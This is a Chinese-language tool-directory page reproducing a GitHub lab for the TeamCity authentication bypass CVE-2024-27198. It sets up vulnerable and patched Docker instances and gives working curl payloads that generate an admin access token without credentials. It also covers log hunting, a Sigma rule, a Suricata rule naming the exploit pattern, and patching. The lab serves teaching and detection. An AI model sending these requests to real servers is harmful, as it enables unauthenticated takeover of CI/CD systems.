Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-27198_Lab — CVE-2024-27198实验室 | Kitploit
工具/GitHubGitHub/cmpnn-romain/cve-2024-27198_lab
漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试威胁情报入侵检测学习与教育事件响应日志分析实验室与实践
GitHub
53个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
cmpnn-romain/cve-2024-27198_lab

CVE-2024-27198_Lab

CVE-2024-27198实验室

查看仓库
分享

CVE-2024-27198 实验环境

描述

TeamCity 提供了一个仅限管理员访问的令牌管理页面,该页面未受认证保护。这使得未经认证的用户在能够找到现有用户 ID 的情况下,可以为管理员用户生成访问令牌。


CVE 详情

  • CVE ID:CVE-2024-27198
  • CWE:CWE-288
  • CNA:JetBrains s.r.o.
  • 基础评分:9.8 严重
  • 向量:
    • CVSS:3.1
    • AV:N 网络
    • AC:L 低
    • PR:N 无
    • UI:N 无
    • S:U 不变
    • C:H 高
    • I:H 高
    • A:H 高

威胁情报与开源情报

实际影响与利用

  • CISA KEV 目录: 于 2024 年 3 月 7 日 添加,确认已在野外被积极利用。
  • 威胁行为者: 被多个勒索软件组织和 APT 利用,特别是 BianLian 勒索软件组织 和 Jasmin 勒索软件变种。攻击者利用此绕过机制创建恶意管理员账户、部署恶意插件并执行任意代码(RCE),从而在受害网络内横向移动。
  • 目标特征: CI/CD 流水线是高价值目标(供应链攻击)。攻陷 TeamCity 使攻击者能够向软件构建中注入恶意代码、窃取源代码以及提取部署密钥(AWS 密钥、证书)。

此 CVE 为何严重

漏洞位于 REST API 路由机制中。通过在未认证端点后附加特定字符(例如 ?jsp=/app/rest/...;.jsp),攻击者可以诱使 TeamCity Web 服务器将请求路由至已认证端点,同时绕过安全过滤器。此攻击无需任何先验知识或访问权限,因此拥有 9.8 的 CVSS 评分。


复现步骤

下载工具

启动容器

root@kitploit:~
cd CVE-2024-27198
root@kitploit:~
docker compose -f docker-compose.yml up -d

访问存在漏洞的 TeamCity 实例:http://localhost:8111。 访问已修补的 TeamCity 实例:http://localhost:8112。


登录门户

用户名:

root@kitploit:~
admin

密码:

root@kitploit:~
admin

测试漏洞

对资源发起未认证的 GET 请求:

root@kitploit:~
curl -i http://localhost:8111/app/rest/users
root@kitploit:~
curl -i http://localhost:8112/app/rest/users

两者应返回 401 状态码的错误。


为管理员用户生成令牌

root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

这应该返回类似如下的令牌(每次生成不同):

root@kitploit:~
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

此命令应返回 401 状态码的错误,因为修补后的实例不存在此漏洞。


验证令牌

root@kitploit:~
curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

应返回用户列表。


删除令牌

  1. 使用管理员账户访问 http://localhost:8111。
  2. 点击右上角的个人资料图标。
  3. 进入 个人资料 -> 访问令牌。
  4. 你会看到 "REDTEAM" 令牌。
  5. 只需点击令牌旁的删除按钮。

蓝队:在日志中搜寻入侵指标(隐蔽性因素)

在实验室演示过程中,你可以展示一个重大的 蓝队发现:默认情况下,这个漏洞极为隐蔽!

  1. TeamCity Docker 镜像默认禁用了 Tomcat 访问日志,因此 ;.jsp HTTP 请求 不会被记录。
  2. TeamCity 审计日志 不会 记录通过 REST API 创建的令牌。

那么如何捕捉呢?当攻击者清理痕迹时! 当攻击者删除其恶意令牌以隐藏痕迹时,TeamCity 会 记录这一行为。

在审计日志中查找攻击者掩盖痕迹的行为:

root@kitploit:~
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log

(你将看到一条日志条目,指示 "REDTEAM" 令牌已被删除。)


停止容器

root@kitploit:~
docker compose -f docker-compose.yml down

缓解与检测

技术分析(CWE-288)

此漏洞是 CWE-288:使用备用路径或通道绕过认证 的一个实例。 缺陷源于 Tomcat Web 服务器与 TeamCity 应用程序路由器之间的路径混淆问题。通过附加 ;.jsp 并将目标 REST API 端点传入 jsp= 参数,初始的安全过滤器将请求解释为对公共 .jsp 文件的未认证请求(允许访问)。然而,内部路由器会剥离 ;.jsp 并将请求转发至受限制的 /app/rest/ 端点,而无需执行认证过滤器。

合法使用场景(为何允许 ; 字符?): Tomcat 使用分号字符(;)表示 矩阵参数。历史上,此机制用于在路径内直接传递参数,例如在禁用 Cookie 时附加 JSESSIONID 以维护用户会话状态。这种正常的、合法的 Web 服务器行为,结合 TeamCity 应用程序路由器不正确的验证,共同导致了该漏洞。

入侵指标

为检测正在发生或已发生的入侵,蓝队应关注:

  1. Web 日志: 针对 /app/rest/ 端点但 URI 中包含异常 ;.jsp 字符串的 HTTP 请求。
  2. 审计日志(teamcity-server.log): 原因不明的访问令牌生成或新管理员账户创建。
  3. 系统层面: 安装未识别或可疑的插件(攻击者常利用插件提升权限并实现远程代码执行)。

日志检测(Sigma 规则)

由于初始利用默认情况下非常隐蔽,蓝队必须依赖检测攻击者的后利用行为,例如掩盖痕迹。以下是适用于 SIEM 的 Sigma 规则,用于检测可疑的令牌删除:

root@kitploit:~
title: JetBrains TeamCity 可疑令牌删除(后利用 CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: 检测攻击者在利用 CVE-2024-27198 后清除痕迹时删除其恶意令牌的行为。
author: 紫队
date: 2026-05-18
logsource:
    category: application
    product: teamcity
detection:
    selection:
        message|contains: 'delete_token_for_user'
    condition: selection
level: medium

SIEM 现场演示(蓝队)

为证明此检测有效,请运行 siem_simulator.py 脚本。

  1. 在利用终端旁打开 第二个终端。
  2. 确保存在漏洞的容器正在运行(docker compose up -d)。
  3. 运行模拟器:
root@kitploit:~
python3 siem_simulator.py
  1. 在第一个终端中,运行利用、验证令牌,然后通过 Web 界面 删除令牌。
  2. 观察第二个终端亮起红色严重警报,显示 Sigma 规则成功捕获了攻击者掩盖痕迹的行为!

修复措施

  • 官方补丁: 将 TeamCity 升级至 2023.11.4 或更高版本,该版本在后端正确清理并强制进行路由匹配。
  • 临时方案: 如果无法立即打补丁,JetBrains 发布了一个安全补丁插件,可安装在存在漏洞的实例上。

网络检测(Suricata / Snort 规则)

为在网络层面检测此利用尝试,SOC 可实施以下 IDS 规则,该规则查找异常的 ;.jsp 模式与 REST API 路径的组合:

root@kitploit:~
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"利用 JetBrains TeamCity 认证绕过尝试 (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

测试修补版本(实验室演示)

为证明缓解措施有效,你可以对运行在端口 8112 的已修补 TeamCity 容器发起完全相同的利用载荷:

root@kitploit:~
curl -i -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

由于补丁严格强制路由匹配并正确清理矩阵参数,绕过将失败。你应看到 401 Unauthorized 或 404 Not Found 响应,而不是生成的令牌。


链接

  • CVE-2024-27198